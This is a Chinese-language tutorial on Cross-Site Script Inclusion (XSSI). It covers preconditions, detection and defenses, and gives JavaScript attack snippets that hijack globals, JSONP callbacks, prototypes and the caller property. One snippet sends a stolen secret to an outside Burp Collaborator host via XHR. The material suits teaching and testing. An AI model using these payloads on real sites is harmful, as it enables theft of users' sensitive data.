XSSI
参考:
https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-lekies.pdf
https://www.scip.ch/en/?labs.20160414
http://sebastian-lekies.de/leak/ 供练习的小样例。
简介
什么是 XSSI
XSSI 全称(Cross-Site Script Inclusion),在命名上和 XSS(Cross-Site Script)相似。但漏洞利用上和 CSRF 更为相像。
当一个网站通过 <script>
标签请求 js 文件时,服务器所返回的 js 文件中若包含敏感信息。那么通过 js 间接的方式获取到这些敏感信息,则称为 XSSI。
既然如此,可能会产生疑问,其和 csrf 有什么关联呢?其实可以从两个角度来理解:
- 第一个角度,试想这样的情景。服务器上存在某个根据用户 cookie 动态生成的 js 文件,并且其中包含用户的敏感信息。此时我们因为没有受害者的 cookie ,所以无法直接以其身份请求该 js 文件。但想一想 csrf ,csrf 是如何诱使受害者触发的呢,最常见的应该就是借助 xss。所以,此时若页面中有 xss 漏洞的话,我们就可以使用 xssi,诱使受害者包含含有敏感信息的 js 文件,并通过 xhr 将信息传送到我们控制的服务器上。
- 第二个角度。实际上,csrf 中有两类利用方式,第一类就是以受害者的身份执行敏感操作,第二类就是以受害者的身份请求某类敏感资源。此处的 xssi 就和第二类的 csrf 非常类似,不过不同点在于请求的对象不同。csrf 通常是请求的是web 页面、api 接口,而 xssi 请求的是 js 文件。
成功攻击的影响
获取到 js 中包含的敏感信息。
使用条件
- 存在服务端根据用户 cookie 动态生成的 js 文件,并且其中包含有值得获取的敏感信息。
- 存在 XSS。
如何攻击
可以使用此 burp 插件检验网站是否存在动态的 js 文件 DetectDynamicJS
若检测到为动态 js,并且经翻阅后发现存在敏感的信息,则参考下文的攻击方式进行利用。
如何防御
从 xssi 的描述中,其实可以看到,其利用方式和 csrf 非常类似,所以 csrf 的一些防御方式也可以用来防御 xssi。
此外,前端的 js 文件文件名必须固定。从这个角度来看,xssi 中 js的文件名,就相当于 csrf 中的 url 都必须是固定的。而现实中前端越来越多使用 webpack 打包,使得部分 js 文件名不可预测。
因为动态的包含敏感信息的 js 平时也比较罕见,所以关于防御方式,碰到再仔细研究。
攻击方式
静态 js
如果是静态 js(包含网站的敏感信息,而不是特定用户的敏感信息),那么直接在 js 文件中查看就行。因为所有人访问该文件得到的结果都一样。
动态 js 、基于认证的 js
注意,这两类攻击方式都是一样,但仍然有一个概念上的细微区别。
动态 js 指的是不同的人访问获得的内容不同。
基于认证 js 指的是只有经过认证之后,才能访问。
和水平越权垂直越权之间的关系类似,两者的关系并不是互斥的,有时一个 js 文件既是动态的、又是基于认证的。
这块演示几个小案例
-
敏感信息属于全局变量
// 含敏感信息的动态 js 文件 var secret = "password";
// 利用,直接引用这个敏感的全局变量。 // 这块的 alert 只是从示例中挪过来的,实际获取信息的话可以通过 xhr 将敏感信息发送到攻击者控制的服务器上,剩下的案例也是类似的,就不再重复。 <script src="https://www.vulnerable-domain.tld/script.js"></script> <script> alert(secret); var xhr = new XMLHttpRequest(); xhr.open('get',"http://aaaa.burpcollaborator.net/?z="+window.secret); xhr.send(); </script>
-
敏感信息作为函数调用参数进行传递
// 含敏感信息的动态 js 文件 angular.callbacks._7("secret message");
// 通过重写函数来获取到敏感信息,但必须在 <script> var angular = function () { return 1; }; angular.callbacks = function () { return 1; }; angular.callbacks._7 = function (leaked) { alert(leaked); }; </script> <script src="https://www.vulnerable-domain.tld/?jsonp=angular.callbacks._7" type="text/javascript"></script>
-
敏感信息为原型函数
// 含敏感信息的动态 js 文件 // 调用的是 Array 的内置函数 slice (function(){ var arr = ["secret1", "secret2", "secret3"]; var x = arr.slice(1); ... })();
// 通过原型污染来获取敏感数据。 Array.prototype.slice = function(){ var funcString = this.toString(); }; <script src="https://www.vulnerable-domain.tld/script.js">
// 含敏感信息的动态 js 文件 // 调用的是 Function 的内置函数 call (function() { var func = function() { var secret = ["578a8c7c0d8f34f5", "345a8b7c9d8e34f5"]; } func.call(); })();
// 通过污染 Function.call 原型。 Function.prototype.call = function() { var funcString = this.toString(); } <script src="https://www.vulnerable-domain.tld/script.js">
-
敏感信息在函数的调用者中。
// (function() { var secret = "345a8b7c9d8e34f5"; function test(theSecret) { function foo() { window.globalFunction(); } foo(); } test(secret); })();
// 通过重写函数,利用 caller 属性进行引用调用者 function globalFunction() { // 两种方法均可。 var secret = globalFunction.caller.caller.arguments[0]; var secret = globalFunction.caller.caller.caller.toString(); } <script src="https://www.vulnerable-domain.tld/script.js">
值得注意的是:不管是原型污染还是重写已存在的函数,都需要确保生效。即更改只对之后执行的代码生效,像上面的例子,如果顺序一换就不起作用。
<script src="https://www.vulnerable-domain.tld/script.js">
// 没有用重写,因为 globalFunction 在 script.js 中已经执行。
function globalFunction() {
var secret = globalFunction.caller.caller.arguments[0];
var secret = globalFunction.caller.caller.caller.toString();
}